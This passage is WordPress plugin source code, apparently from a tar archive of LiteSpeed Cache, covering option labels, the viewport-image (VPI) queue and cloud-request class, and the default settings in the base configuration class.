self::O_MEDIA_LAZY_EXC => __( 'Lazy Load Image Excludes', 'litespeed-cache' ), self::O_MEDIA_LAZY_CLS_EXC => __( 'Lazy Load Image Class Name Excludes', 'litespeed-cache' ), self::O_MEDIA_LAZY_PARENT_CLS_EXC => __( 'Lazy Load Image Parent Class Name Excludes', 'litespeed-cache' ), self::O_MEDIA_IFRAME_LAZY_CLS_EXC => __( 'Lazy Load Iframe Class Name Excludes', 'litespeed-cache' ), self::O_MEDIA_IFRAME_LAZY_PARENT_CLS_EXC => __( 'Lazy Load Iframe Parent Class Name Excludes', 'litespeed-cache' ), self::O_MEDIA_LAZY_URI_EXC => __( 'Lazy Load URI Excludes', 'litespeed-cache' ), self::O_MEDIA_LQIP_EXC => __( 'LQIP Excludes', 'litespeed-cache' ), self::O_MEDIA_LAZY_PLACEHOLDER => __( 'Basic Image Placeholder', 'litespeed-cache' ), self::O_MEDIA_PLACEHOLDER_RESP => __( 'Responsive Placeholder', 'litespeed-cache' ), self::O_MEDIA_PLACEHOLDER_RESP_COLOR => __( 'Responsive Placeholder Color', 'litespeed-cache' ), self::O_MEDIA_PLACEHOLDER_RESP_SVG => __( 'Responsive Placeholder SVG', 'litespeed-cache' ), self::O_MEDIA_LQIP => __( 'LQIP Cloud Generator', 'litespeed-cache' ), self::O_MEDIA_LQIP_QUAL => __( 'LQIP Quality', 'litespeed-cache' ), self::O_MEDIA_LQIP_MIN_W => __( 'LQIP Minimum Dimensions', 'litespeed-cache' ), self::O_MEDIA_PLACEHOLDER_RESP_ASYNC => __( 'Generate LQIP In Background', 'litespeed-cache' ), self::O_MEDIA_IFRAME_LAZY => __( 'Lazy Load Iframes', 'litespeed-cache' ), self::O_MEDIA_ADD_MISSING_SIZES => __( 'Add Missing Sizes', 'litespeed-cache' ), self::O_MEDIA_VPI => __( 'Viewport Images', 'litespeed-cache' ), self::O_MEDIA_VPI_CRON => __( 'Viewport Images Cron', 'litespeed-cache' ), self::O_MEDIA_AUTO_RESCALE_ORI => __( 'Auto Rescale Original Images', 'litespeed-cache' ), self::O_IMG_OPTM_AUTO => __( 'Auto Request Cron', 'litespeed-cache' ), self::O_IMG_OPTM_ORI => __( 'Optimize Original Images', 'litespeed-cache' ), self::O_IMG_OPTM_RM_BKUP => __( 'Remove Original Backups', 'litespeed-cache' ), self::O_IMG_OPTM_WEBP => __( 'Next-Gen Image Format', 'litespeed-cache' ), self::O_IMG_OPTM_LOSSLESS => __( 'Optimize Losslessly', 'litespeed-cache' ), self::O_IMG_OPTM_SIZES_SKIPPED => __( 'Optimize Image Sizes', 'litespeed-cache' ), self::O_IMG_OPTM_EXIF => __( 'Preserve EXIF/XMP data', 'litespeed-cache' ), self::O_IMG_OPTM_WEBP_ATTR => __( 'WebP/AVIF Attribute To Replace', 'litespeed-cache' ), self::O_IMG_OPTM_WEBP_REPLACE_SRCSET => __( 'WebP/AVIF For Extra srcset', 'litespeed-cache' ), self::O_IMG_OPTM_JPG_QUALITY => __( 'WordPress Image Quality Control', 'litespeed-cache' ), self::O_ESI => __( 'Enable ESI', 'litespeed-cache' ), self::O_ESI_CACHE_ADMBAR => __( 'Cache Admin Bar', 'litespeed-cache' ), self::O_ESI_CACHE_COMMFORM => __( 'Cache Comment Form', 'litespeed-cache' ), self::O_ESI_NONCE => __( 'ESI Nonces', 'litespeed-cache' ), self::O_CACHE_VARY_GROUP => __( 'Vary Group', 'litespeed-cache' ), self::O_PURGE_HOOK_ALL => __( 'Purge All Hooks', 'litespeed-cache' ), self::O_UTIL_NO_HTTPS_VARY => __( 'Improve HTTP/HTTPS Compatibility', 'litespeed-cache' ), self::O_UTIL_INSTANT_CLICK => __( 'Instant Click', 'litespeed-cache' ), self::O_CACHE_EXC_COOKIES => __( 'Do Not Cache Cookies', 'litespeed-cache' ), self::O_CACHE_EXC_USERAGENTS => __( 'Do Not Cache User Agents', 'litespeed-cache' ), self::O_CACHE_LOGIN_COOKIE => __( 'Login Cookie', 'litespeed-cache' ), self::O_CACHE_VARY_COOKIES => __( 'Vary Cookies', 'litespeed-cache' ), self::O_MISC_HEARTBEAT_FRONT => __( 'Frontend Heartbeat Control', 'litespeed-cache' ), self::O_MISC_HEARTBEAT_FRONT_TTL => __( 'Frontend Heartbeat TTL', 'litespeed-cache' ), self::O_MISC_HEARTBEAT_BACK => __( 'Backend Heartbeat Control', 'litespeed-cache' ), self::O_MISC_HEARTBEAT_BACK_TTL => __( 'Backend Heartbeat TTL', 'litespeed-cache' ), self::O_MISC_HEARTBEAT_EDITOR => __( 'Editor Heartbeat', 'litespeed-cache' ), self::O_MISC_HEARTBEAT_EDITOR_TTL => __( 'Editor Heartbeat TTL', 'litespeed-cache' ), self::O_CDN => __( 'Use CDN Mapping', 'litespeed-cache' ), self::CDN_MAPPING_URL => __( 'CDN URL', 'litespeed-cache' ), self::CDN_MAPPING_INC_IMG => __( 'Include Images', 'litespeed-cache' ), self::CDN_MAPPING_INC_CSS => __( 'Include CSS', 'litespeed-cache' ), self::CDN_MAPPING_INC_JS => __( 'Include JS', 'litespeed-cache' ), self::CDN_MAPPING_FILETYPE => __( 'Include File Types', 'litespeed-cache' ), self::O_CDN_ATTR => __( 'HTML Attribute To Replace', 'litespeed-cache' ), self::O_CDN_ORI => __( 'Original URLs', 'litespeed-cache' ), self::O_CDN_ORI_DIR => __( 'Included Directories', 'litespeed-cache' ), self::O_CDN_EXC => __( 'Exclude Path', 'litespeed-cache' ), self::O_CDN_CLOUDFLARE => __( 'Cloudflare API', 'litespeed-cache' ), self::O_CDN_CLOUDFLARE_CLEAR => __( 'Clear Cloudflare cache', 'litespeed-cache' ), self::O_CRAWLER => __( 'Crawler', 'litespeed-cache' ), self::O_CRAWLER_CRAWL_INTERVAL => __( 'Crawl Interval', 'litespeed-cache' ), self::O_CRAWLER_LOAD_LIMIT => __( 'Server Load Limit', 'litespeed-cache' ), self::O_CRAWLER_ROLES => __( 'Role Simulation', 'litespeed-cache' ), self::O_CRAWLER_COOKIES => __( 'Cookie Simulation', 'litespeed-cache' ), self::O_CRAWLER_SITEMAP => __( 'Custom Sitemap', 'litespeed-cache' ), self::O_DEBUG_DISABLE_ALL => __( 'Disable All Features', 'litespeed-cache' ), self::O_DEBUG => __( 'Debug Log', 'litespeed-cache' ), self::O_DEBUG_IPS => __( 'Admin IPs', 'litespeed-cache' ), self::O_DEBUG_LEVEL => __( 'Debug Level', 'litespeed-cache' ), self::O_DEBUG_FILESIZE => __( 'Log File Size Limit', 'litespeed-cache' ), self::O_DEBUG_COLLAPSE_QS => __( 'Collapse Query Strings', 'litespeed-cache' ), self::O_DEBUG_INC => __( 'Debug URI Includes', 'litespeed-cache' ), self::O_DEBUG_EXC => __( 'Debug URI Excludes', 'litespeed-cache' ), self::O_DEBUG_EXC_STRINGS => __( 'Debug String Excludes', 'litespeed-cache' ), self::O_DB_OPTM_REVISIONS_MAX => __( 'Revisions Max Number', 'litespeed-cache' ), self::O_DB_OPTM_REVISIONS_AGE => __( 'Revisions Max Age', 'litespeed-cache' ), self::O_OPTIMAX => __( 'OptimaX', 'litespeed-cache' ), ]; if ( array_key_exists( $id, $_lang_list ) ) { return $_lang_list[ $id ]; } return 'N/A'; } } vpi.cls.php000064400000022600152077520260006641 0ustar00_summary = self::get_summary(); } /** * Queue the current page for VPI generation. * * @since 4.7 * @return void */ public function add_to_queue() { $is_mobile = $this->_separate_mobile(); global $wp; $request_url = home_url( $wp->request ); if ( ! apply_filters( 'litespeed_vpi_should_queue', true, $request_url ) ) { return; } // Sanitize user agent coming from the server superglobal. $ua = ! empty( $_SERVER['HTTP_USER_AGENT'] ) ? sanitize_text_field( wp_unslash( $_SERVER['HTTP_USER_AGENT'] ) ) : ''; // Store it to prepare for cron. $this->_queue = $this->load_queue( 'vpi' ); if ( count( $this->_queue ) > 500 ) { self::debug( 'Queue is full - 500' ); return; } $home_id = (int) get_option( 'page_for_posts' ); if ( ! is_singular() && ! ( $home_id > 0 && is_home() ) ) { self::debug( 'not single post ID' ); return; } $post_id = is_home() ? $home_id : get_the_ID(); $queue_k = ( $is_mobile ? 'mobile' : '' ) . ' ' . $request_url; if ( ! empty( $this->_queue[ $queue_k ] ) ) { self::debug( 'queue k existed ' . $queue_k ); return; } $this->_queue[ $queue_k ] = [ 'url' => apply_filters( 'litespeed_vpi_url', $request_url ), 'post_id' => $post_id, 'user_agent' => substr( $ua, 0, 200 ), 'is_mobile' => $is_mobile, ]; // Current UA will be used to request. $this->save_queue( 'vpi', $this->_queue ); self::debug( 'Added queue_vpi [url] ' . $queue_k . ' [UA] ' . $ua ); // Prepare cache tag for later purge. Tag::add( 'VPI.' . md5( $queue_k ) ); } /** * Handle finish notifications from remote service. * * Expects JSON body; falls back to $_POST for legacy callers. * * @since 4.7 * @return array Response object for the cloud layer. */ public function notify() { // phpcs:ignore WordPress.Security.NonceVerification.Missing $post_data = \json_decode( file_get_contents( 'php://input' ), true ); if ( is_null( $post_data ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Missing $post_data = $_POST; } self::debug( 'notify() data', $post_data ); $this->_queue = $this->load_queue( 'vpi' ); list( $post_data ) = $this->cls( 'Cloud' )->extract_msg( $post_data, 'vpi' ); $notified_data = $post_data['data']; if ( empty( $notified_data ) || ! is_array( $notified_data ) ) { self::debug( '❌ notify exit: no notified data' ); return Cloud::err( 'no notified data' ); } // Check if it's in queue or not. $valid_i = 0; foreach ( $notified_data as $v ) { if ( empty( $v['request_url'] ) ) { self::debug( '❌ notify bypass: no request_url', $v ); continue; } if ( empty( $v['queue_k'] ) ) { self::debug( '❌ notify bypass: no queue_k', $v ); continue; } $queue_k = $v['queue_k']; if ( empty( $this->_queue[ $queue_k ] ) ) { self::debug( '❌ notify bypass: no this queue [q_k]' . $queue_k ); continue; } // Save data. if ( ! empty( $v['data_vpi'] ) ) { $post_id = (int) $this->_queue[ $queue_k ]['post_id']; $name = ! empty( $v['is_mobile'] ) ? self::POST_META_MOBILE : self::POST_META; $urldecode = is_array( $v['data_vpi'] ) ? array_map( 'urldecode', $v['data_vpi'] ) : urldecode( $v['data_vpi'] ); self::debug( 'save data_vpi', $urldecode ); $this->cls( 'Metabox' )->save( $post_id, $name, $urldecode ); ++$valid_i; } unset( $this->_queue[ $queue_k ] ); self::debug( 'notify data handled, unset queue [q_k] ' . $queue_k ); } $this->save_queue( 'vpi', $this->_queue ); self::debug( 'notified' ); return Cloud::ok( [ 'count' => $valid_i ] ); } /** * Cron entry point. * * @since 4.7 * * @param bool $do_continue Continue processing multiple queue items within one cron tick. * @return mixed Result of the handler. */ public static function cron( $do_continue = false ) { $_instance = self::cls(); return $_instance->_cron_handler( $do_continue ); } /** * Cron queue processor. * * @since 4.7 * * @param bool $do_continue Continue processing multiple queue items within one cron tick. * @return void */ private function _cron_handler( $do_continue = false ) { self::debug( 'cron start' ); $this->_queue = $this->load_queue( 'vpi' ); if ( empty( $this->_queue ) ) { return; } // For cron, need to check request interval too. if ( ! $do_continue ) { if ( ! empty( $this->_summary['curr_request_vpi'] ) && time() - (int) $this->_summary['curr_request_vpi'] < 300 && ! $this->conf( self::O_DEBUG ) ) { self::debug( 'Last request not done' ); return; } } $i = 0; foreach ( $this->_queue as $k => $v ) { if ( ! empty( $v['_status'] ) ) { continue; } self::debug( 'cron job [tag] ' . $k . ' [url] ' . $v['url'] . ( $v['is_mobile'] ? ' 📱 ' : '' ) . ' [UA] ' . $v['user_agent'] ); ++$i; $res = $this->_send_req( $v['url'], $k, $v['user_agent'], $v['is_mobile'] ); if ( ! $res ) { // Status is wrong, drop this item from queue. $this->_queue = $this->load_queue( 'vpi' ); unset( $this->_queue[ $k ] ); $this->save_queue( 'vpi', $this->_queue ); if ( ! $do_continue ) { return; } GUI::print_loading( count( $this->_queue ), 'VPI' ); Router::self_redirect( Router::ACTION_VPI, self::TYPE_GEN ); return; } // Exit queue if out of quota or service is hot. if ( 'out_of_quota' === $res || 'svc_hot' === $res ) { return; } $this->_queue = $this->load_queue( 'vpi' ); $this->_queue[ $k ]['_status'] = 'requested'; $this->save_queue( 'vpi', $this->_queue ); self::debug( 'Saved to queue [k] ' . $k ); // only request first one if not continuing. if ( ! $do_continue ) { return; } GUI::print_loading( count( $this->_queue ), 'VPI' ); Router::self_redirect( Router::ACTION_VPI, self::TYPE_GEN ); return; } } /** * Send request to QUIC.cloud API to generate VPI. * * @since 4.7 * @access private * * @param string $request_url The URL to analyze for VPI. * @param string $queue_k Queue key for this job. * @param string $user_agent Sanitized User-Agent string (<=200 chars). * @param bool $is_mobile Whether the job is for mobile viewport. * @return bool|string True on queued successfully, 'out_of_quota'/'svc_hot' on throttling, or false on error. */ private function _send_req( $request_url, $queue_k, $user_agent, $is_mobile ) { $svc = Cloud::SVC_VPI; // Check if has credit to push or not. $err = false; $allowance = $this->cls( 'Cloud' )->allowance( $svc, $err ); if ( ! $allowance ) { self::debug( '❌ No credit: ' . $err ); $err && Admin_Display::error( Error::msg( $err ) ); return 'out_of_quota'; } set_time_limit( 120 ); // Update request status. self::save_summary( [ 'curr_request_vpi' => time() ], true ); // Gather guest HTML to send. $html = $this->cls( 'CSS' )->prepare_html( $request_url, $user_agent ); if ( ! $html ) { return false; } // Parse HTML to gather CSS content before requesting. $css = false; list( $css, $html ) = $this->cls( 'CSS' )->prepare_css( $html ); if ( ! $css ) { self::debug( '❌ No css' ); return false; } $data = [ 'url' => $request_url, 'queue_k' => $queue_k, 'user_agent' => $user_agent, 'is_mobile' => $is_mobile ? 1 : 0, // todo: compatible w/ tablet. 'html' => $html, 'css' => $css, ]; self::debug( 'Generating: ', $data ); $json = Cloud::post( $svc, $data, 30 ); if ( ! is_array( $json ) ) { return $json; } // Unknown status, remove this line. if ( 'queued' !== $json['status'] ) { return false; } // Save summary data. self::reload_summary(); $this->_summary['last_spent_vpi'] = time() - (int) $this->_summary['curr_request_vpi']; $this->_summary['last_request_vpi'] = $this->_summary['curr_request_vpi']; $this->_summary['curr_request_vpi'] = 0; self::save_summary(); return true; } /** * Handle all request actions from main controller. * * @since 4.7 * @return void */ public function handler() { $type = Router::verify_type(); switch ( $type ) { case self::TYPE_GEN: self::cron( true ); break; case self::TYPE_CLEAR_Q: $this->clear_q( 'vpi' ); break; default: break; } Admin::redirect(); } } base.cls.php000064400000113240152077520260006756 0ustar00 */ protected static $_default_options = [ self::_VER => '', self::HASH => '', self::O_API_KEY => '', self::O_AUTO_UPGRADE => false, self::O_SERVER_IP => '', self::O_GUEST => false, self::O_GUEST_OPTM => false, self::O_NEWS => false, // Cache self::O_CACHE => false, self::O_CACHE_PRIV => false, self::O_CACHE_COMMENTER => false, self::O_CACHE_REST => false, self::O_CACHE_PAGE_LOGIN => false, self::O_CACHE_MOBILE => false, self::O_CACHE_MOBILE_RULES => [], self::O_CACHE_BROWSER => false, self::O_CACHE_EXC_USERAGENTS => [], self::O_CACHE_EXC_COOKIES => [], self::O_CACHE_EXC_QS => [], self::O_CACHE_EXC_CAT => [], self::O_CACHE_EXC_TAG => [], self::O_CACHE_FORCE_URI => [], self::O_CACHE_FORCE_PUB_URI => [], self::O_CACHE_PRIV_URI => [], self::O_CACHE_EXC => [], self::O_CACHE_EXC_ROLES => [], self::O_CACHE_DROP_QS => [], self::O_CACHE_TTL_PUB => 0, self::O_CACHE_TTL_PRIV => 0, self::O_CACHE_TTL_FRONTPAGE => 0, self::O_CACHE_TTL_FEED => 0, self::O_CACHE_TTL_REST => 0, self::O_CACHE_TTL_BROWSER => 0, self::O_CACHE_TTL_STATUS => [], self::O_CACHE_LOGIN_COOKIE => '', self::O_CACHE_AJAX_TTL => [], self::O_CACHE_VARY_COOKIES => [], self::O_CACHE_VARY_GROUP => [], // Purge self::O_PURGE_ON_UPGRADE => false, self::O_PURGE_STALE => false, self::O_PURGE_POST_ALL => false, self::O_PURGE_POST_FRONTPAGE => false, self::O_PURGE_POST_HOMEPAGE => false, self::O_PURGE_POST_PAGES => false, self::O_PURGE_POST_PAGES_WITH_RECENT_POSTS => false, self::O_PURGE_POST_AUTHOR => false, self::O_PURGE_POST_YEAR => false, self::O_PURGE_POST_MONTH => false, self::O_PURGE_POST_DATE => false, self::O_PURGE_POST_TERM => false, self::O_PURGE_POST_POSTTYPE => false, self::O_PURGE_TIMED_URLS => [], self::O_PURGE_TIMED_URLS_TIME => '', self::O_PURGE_HOOK_ALL => [], // ESI self::O_ESI => false, self::O_ESI_CACHE_ADMBAR => false, self::O_ESI_CACHE_COMMFORM => false, self::O_ESI_NONCE => [], // Util self::O_UTIL_INSTANT_CLICK => false, self::O_UTIL_NO_HTTPS_VARY => false, // Debug self::O_DEBUG_DISABLE_ALL => false, self::O_DEBUG => false, self::O_DEBUG_IPS => [], self::O_DEBUG_LEVEL => false, self::O_DEBUG_FILESIZE => 0, self::O_DEBUG_COLLAPSE_QS => false, self::O_DEBUG_INC => [], self::O_DEBUG_EXC => [], self::O_DEBUG_EXC_STRINGS => [], // DB Optm self::O_DB_OPTM_REVISIONS_MAX => 0, self::O_DB_OPTM_REVISIONS_AGE => 0, // HTML Optm self::O_OPTM_CSS_MIN => false, self::O_OPTM_CSS_COMB => false, self::O_OPTM_CSS_COMB_EXT_INL => false, self::O_OPTM_UCSS => false, self::O_OPTM_UCSS_INLINE => false, self::O_OPTM_UCSS_SELECTOR_WHITELIST => [], self::O_OPTM_UCSS_FILE_EXC_INLINE => [], self::O_OPTM_UCSS_EXC => [], self::O_OPTM_CSS_EXC => [], self::O_OPTM_JS_MIN => false, self::O_OPTM_JS_COMB => false, self::O_OPTM_JS_COMB_EXT_INL => false, self::O_OPTM_JS_DELAY_INC => [], self::O_OPTM_JS_EXC => [], self::O_OPTM_HTML_MIN => false, self::O_OPTM_HTML_LAZY => [], self::O_OPTM_HTML_SKIP_COMMENTS => [], self::O_OPTM_QS_RM => false, self::O_OPTM_GGFONTS_RM => false, self::O_OPTM_CSS_ASYNC => false, self::O_OPTM_CCSS_PER_URL => false, self::O_OPTM_CCSS_SEP_POSTTYPE => [], self::O_OPTM_CCSS_SEP_URI => [], self::O_OPTM_CCSS_SELECTOR_WHITELIST => [], self::O_OPTM_CSS_ASYNC_INLINE => false, self::O_OPTM_CSS_FONT_DISPLAY => false, self::O_OPTM_JS_DEFER => false, self::O_OPTM_EMOJI_RM => false, self::O_OPTM_NOSCRIPT_RM => false, self::O_OPTM_GGFONTS_ASYNC => false, self::O_OPTM_EXC_ROLES => [], self::O_OPTM_CCSS_CON => '', self::O_OPTM_JS_DEFER_EXC => [], self::O_OPTM_GM_JS_EXC => [], self::O_OPTM_DNS_PREFETCH => [], self::O_OPTM_DNS_PREFETCH_CTRL => false, self::O_OPTM_DNS_PRECONNECT => [], self::O_OPTM_EXC => [], self::O_OPTM_GUEST_ONLY => false, // Object self::O_OBJECT => false, self::O_OBJECT_KIND => false, self::O_OBJECT_HOST => '', self::O_OBJECT_PORT => 0, self::O_OBJECT_LIFE => 0, self::O_OBJECT_PERSISTENT => false, self::O_OBJECT_ADMIN => false, self::O_OBJECT_DB_ID => 0, self::O_OBJECT_USER => '', self::O_OBJECT_PSWD => '', self::O_OBJECT_GLOBAL_GROUPS => [], self::O_OBJECT_NON_PERSISTENT_GROUPS => [], // Discuss self::O_DISCUSS_AVATAR_CACHE => false, self::O_DISCUSS_AVATAR_CRON => false, self::O_DISCUSS_AVATAR_CACHE_TTL => 0, self::O_OPTM_LOCALIZE => false, self::O_OPTM_LOCALIZE_DOMAINS => [], // Media self::O_MEDIA_LAZY => false, self::O_MEDIA_LAZY_PLACEHOLDER => '', self::O_MEDIA_PLACEHOLDER_RESP => false, self::O_MEDIA_PLACEHOLDER_RESP_COLOR => '', self::O_MEDIA_PLACEHOLDER_RESP_SVG => '', self::O_MEDIA_LQIP => false, self::O_MEDIA_LQIP_QUAL => 0, self::O_MEDIA_LQIP_MIN_W => 0, self::O_MEDIA_LQIP_MIN_H => 0, self::O_MEDIA_PLACEHOLDER_RESP_ASYNC => false, self::O_MEDIA_IFRAME_LAZY => false, self::O_MEDIA_ADD_MISSING_SIZES => false, self::O_MEDIA_LAZY_EXC => [], self::O_MEDIA_LAZY_CLS_EXC => [], self::O_MEDIA_LAZY_PARENT_CLS_EXC => [], self::O_MEDIA_IFRAME_LAZY_CLS_EXC => [], self::O_MEDIA_IFRAME_LAZY_PARENT_CLS_EXC => [], self::O_MEDIA_LAZY_URI_EXC => [], self::O_MEDIA_LQIP_EXC => [], self::O_MEDIA_VPI => false, self::O_MEDIA_VPI_CRON => false, self::O_MEDIA_AUTO_RESCALE_ORI => false, // Image Optm self::O_IMG_OPTM_AUTO => false, self::O_IMG_OPTM_ORI => false, self::O_IMG_OPTM_RM_BKUP => false, self::O_IMG_OPTM_WEBP => false, self::O_IMG_OPTM_LOSSLESS => false, self::O_IMG_OPTM_SIZES_SKIPPED => [], self::O_IMG_OPTM_EXIF => false, self::O_IMG_OPTM_WEBP_ATTR => [], self::O_IMG_OPTM_WEBP_REPLACE_SRCSET => false, self::O_IMG_OPTM_JPG_QUALITY => 0, // Crawler self::O_CRAWLER => false, self::O_CRAWLER_CRAWL_INTERVAL => 0, self::O_CRAWLER_LOAD_LIMIT => 0, self::O_CRAWLER_SITEMAP => '', self::O_CRAWLER_ROLES => [], self::O_CRAWLER_COOKIES => [], // Misc self::O_MISC_HEARTBEAT_FRONT => false, self::O_MISC_HEARTBEAT_FRONT_TTL => 0, self::O_MISC_HEARTBEAT_BACK => false, self::O_MISC_HEARTBEAT_BACK_TTL => 0, self::O_MISC_HEARTBEAT_EDITOR => false, self::O_MISC_HEARTBEAT_EDITOR_TTL => 0, // CDN self::O_CDN => false, self::O_CDN_ORI => [], self::O_CDN_ORI_DIR => [], self::O_CDN_EXC => [], self::O_CDN_QUIC => false, self::O_CDN_CLOUDFLARE => false, self::O_CDN_CLOUDFLARE_EMAIL => '', self::O_CDN_CLOUDFLARE_KEY => '', self::O_CDN_CLOUDFLARE_NAME => '', self::O_CDN_CLOUDFLARE_ZONE => '', self::O_CDN_CLOUDFLARE_CLEAR => false, self::O_CDN_MAPPING => [], self::O_CDN_ATTR => [], self::O_QC_NAMESERVERS => '', self::O_QC_CNAME => '', self::DEBUG_TMP_DISABLE => 0, ]; /** * Default options for multisite (site-level options stored network-wide). * * @var array */ protected static $_default_site_options = [ self::_VER => '', self::O_CACHE => false, self::NETWORK_O_USE_PRIMARY => false, self::O_AUTO_UPGRADE => false, self::O_GUEST => false, self::O_CACHE_BROWSER => false, self::O_CACHE_MOBILE => false, self::O_CACHE_MOBILE_RULES => [], self::O_CACHE_DROP_QS => [], self::O_CACHE_LOGIN_COOKIE => '', self::O_CACHE_VARY_COOKIES => [], self::O_CACHE_EXC_COOKIES => [], self::O_CACHE_EXC_USERAGENTS => [], self::O_CACHE_TTL_BROWSER => 0, self::O_PURGE_ON_UPGRADE => false, self::O_OBJECT => false, self::O_OBJECT_KIND => false, self::O_OBJECT_HOST => '', self::O_OBJECT_PORT => 0, self::O_OBJECT_LIFE => 0, self::O_OBJECT_PERSISTENT => false, self::O_OBJECT_ADMIN => false, self::O_OBJECT_DB_ID => 0, self::O_OBJECT_USER => '', self::O_OBJECT_PSWD => '', self::O_OBJECT_GLOBAL_GROUPS => [], self::O_OBJECT_NON_PERSISTENT_GROUPS => [], // Debug self::O_DEBUG_DISABLE_ALL => false, self::O_DEBUG => false, self::O_DEBUG_IPS => [], self::O_DEBUG_LEVEL => false, self::O_DEBUG_FILESIZE => 0, self::O_DEBUG_COLLAPSE_QS => false, self::O_DEBUG_INC => [], self::O_DEBUG_EXC => [], self::O_DEBUG_EXC_STRINGS => [], self::O_IMG_OPTM_WEBP => false, ]; /** * Multi-switch options: option ID => max state (int). * NOTE: all the val of following items will be int while not bool * * @var array */ protected static $_multi_switch_list = [ self::O_DEBUG => 2, self::O_OPTM_JS_DEFER => 2, self::O_IMG_OPTM_WEBP => 2, ]; /** * Cache for blog options to avoid repeated switch_to_blog calls. * Structure: [ blog_id => [ option_name => value, ... ], ... ] * * @since 7.8 * @var array> */ private static $_blog_options_cache = []; /** * Get option from another blog with batch preload optimization. * * Reduces N*2 switch_to_blog calls to just 2 by preloading all options on first call. * * @since 7.8 * @param int $blog_id Blog ID to get option from. * @param string $id Option ID (without prefix). * @param mixed $default_v Default value if option not found. * @return mixed Option value. */ public static function get_blog_option( $blog_id, $id, $default_v = false ) { $blog_id = (int) $blog_id; // If current blog, use get_option directly (no switch needed). if ( get_current_blog_id() === $blog_id ) { return self::get_option( $id, $default_v ); } // Preload all options for this blog if not cached. if ( ! isset( self::$_blog_options_cache[ $blog_id ] ) ) { self::_preload_blog_options( $blog_id ); } $v = self::$_blog_options_cache[ $blog_id ][ $id ]; // Maybe decode array. if ( is_array( $default_v ) ) { $v = self::_maybe_decode( $v ); } return $v; } /** * Preload all conf options for a blog into cache. * * @since 7.8 * @param int $blog_id Blog ID to preload options from. */ private static function _preload_blog_options( $blog_id ) { self::$_blog_options_cache[ $blog_id ] = []; switch_to_blog( $blog_id ); foreach ( self::$_default_options as $id => $default_v ) { self::$_blog_options_cache[ $blog_id ][ $id ] = get_option( self::name( $id ), $default_v ); } restore_current_blog(); } /** * Correct the option type. * * TODO: add similar network func * * @since 3.0.3 * * @param mixed $val Incoming value. * @param string $id Option ID. * @param bool $is_site_conf Whether using site-level defaults. * @return mixed */ protected function type_casting( $val, $id, $is_site_conf = false ) { $default_v = ! $is_site_conf ? self::$_default_options[ $id ] : self::$_default_site_options[ $id ]; if ( is_bool( $default_v ) ) { if ( 'true' === $val ) { $val = true; } if ( 'false' === $val ) { $val = false; } $max = $this->_conf_multi_switch( $id ); if ( $max ) { $val = (int) $val; $val %= $max + 1; } else { $val = (bool) $val; } } elseif ( is_array( $default_v ) ) { // from textarea input if ( ! is_array( $val ) ) { $val = Utility::sanitize_lines( $val, $this->_conf_filter( $id ) ); } } elseif ( ! is_string( $default_v ) ) { $val = (int) $val; } else { // Check if the string has a limit set $val = $this->_conf_string_val( $id, $val ); } return $val; } /** * Load default network settings from data.ini * * @since 3.0 * @return array */ public function load_default_site_vals() { // Load network_default.json if ( file_exists( LSCWP_DIR . 'data/const.network_default.json' ) ) { $default_ini_cfg = json_decode( File::read( LSCWP_DIR . 'data/const.network_default.json' ), true ); foreach ( self::$_default_site_options as $k => $v ) { if ( ! array_key_exists( $k, $default_ini_cfg ) ) { continue; } // Parse value in ini file $ini_v = $this->type_casting( $default_ini_cfg[ $k ], $k, true ); if ( $ini_v === $v ) { continue; } self::$_default_site_options[ $k ] = $ini_v; } } self::$_default_site_options[ self::_VER ] = Core::VER; return self::$_default_site_options; } /** * Load default values from default.json * * @since 3.0 * @access public * @return array */ public function load_default_vals() { // Load default.json if ( file_exists( LSCWP_DIR . 'data/const.default.json' ) ) { $default_ini_cfg = json_decode( File::read( LSCWP_DIR . 'data/const.default.json' ), true ); foreach ( self::$_default_options as $k => $v ) { if ( ! array_key_exists( $k, $default_ini_cfg ) ) { continue; } // Parse value in ini file $ini_v = $this->type_casting( $default_ini_cfg[ $k ], $k ); // NOTE: Multiple lines value must be stored as array /** * Special handler for CDN_mapping * * Format in .ini: * [cdn-mapping] * url[0] = 'https://example.com/' * inc_js[0] = true * filetype[0] = '.css * .js * .jpg' * * format out: * [0] = [ 'url' => 'https://example.com', 'inc_js' => true, 'filetype' => [ '.css', '.js', '.jpg' ] ] */ if ( self::O_CDN_MAPPING === $k ) { $mapping_fields = [ self::CDN_MAPPING_URL, self::CDN_MAPPING_INC_IMG, self::CDN_MAPPING_INC_CSS, self::CDN_MAPPING_INC_JS, self::CDN_MAPPING_FILETYPE, // Array ]; $ini_v2 = []; foreach ( $ini_v[ self::CDN_MAPPING_URL ] as $k2 => $v2 ) { // $k2 is numeric $this_row = []; foreach ( $mapping_fields as $v3 ) { $this_v = ! empty( $ini_v[ $v3 ][ $k2 ] ) ? $ini_v[ $v3 ][ $k2 ] : false; if ( self::CDN_MAPPING_URL === $v3 ) { if ( empty( $this_v ) ) { $this_v = ''; } } if ( self::CDN_MAPPING_FILETYPE === $v3 ) { $this_v = $this_v ? Utility::sanitize_lines( $this_v ) : []; // Note: Since v3.0 its already an array } $this_row[ $v3 ] = $this_v; } $ini_v2[ $k2 ] = $this_row; } $ini_v = $ini_v2; } if ( $ini_v === $v ) { continue; } self::$_default_options[ $k ] = $ini_v; } } // Load internal default vals // Setting the default bool to int is also to avoid type casting override it back to bool self::$_default_options[ self::O_CACHE ] = is_multisite() ? self::VAL_ON2 : self::VAL_ON; // For multi site, default is 2 (Use Network Admin Settings). For single site, default is 1 (Enabled). // Load default vals containing variables if ( ! self::$_default_options[ self::O_CDN_ORI_DIR ] ) { self::$_default_options[ self::O_CDN_ORI_DIR ] = LSCWP_CONTENT_FOLDER . "\nwp-includes"; self::$_default_options[ self::O_CDN_ORI_DIR ] = explode( "\n", self::$_default_options[ self::O_CDN_ORI_DIR ] ); self::$_default_options[ self::O_CDN_ORI_DIR ] = array_map( 'trim', self::$_default_options[ self::O_CDN_ORI_DIR ] ); } // Set security key if not initialized yet if ( ! self::$_default_options[ self::HASH ] ) { self::$_default_options[ self::HASH ] = Str::rrand( 32 ); } self::$_default_options[ self::_VER ] = Core::VER; return self::$_default_options; } /** * Format the string value. * * @since 3.0 * * @param string $id Option ID. * @param mixed $val Value. * @return string */ protected function _conf_string_val( $id, $val ) { return (string) $val; } /** * If the switch setting is a triple value or not. * * @since 3.0 * * @param string $id Option ID. * @return int|false */ protected function _conf_multi_switch( $id ) { if ( ! empty( self::$_multi_switch_list[ $id ] ) ) { return self::$_multi_switch_list[ $id ]; } if ( self::O_CACHE === $id && is_multisite() ) { return self::VAL_ON2; } return false; } /** * Append a new multi switch max limit 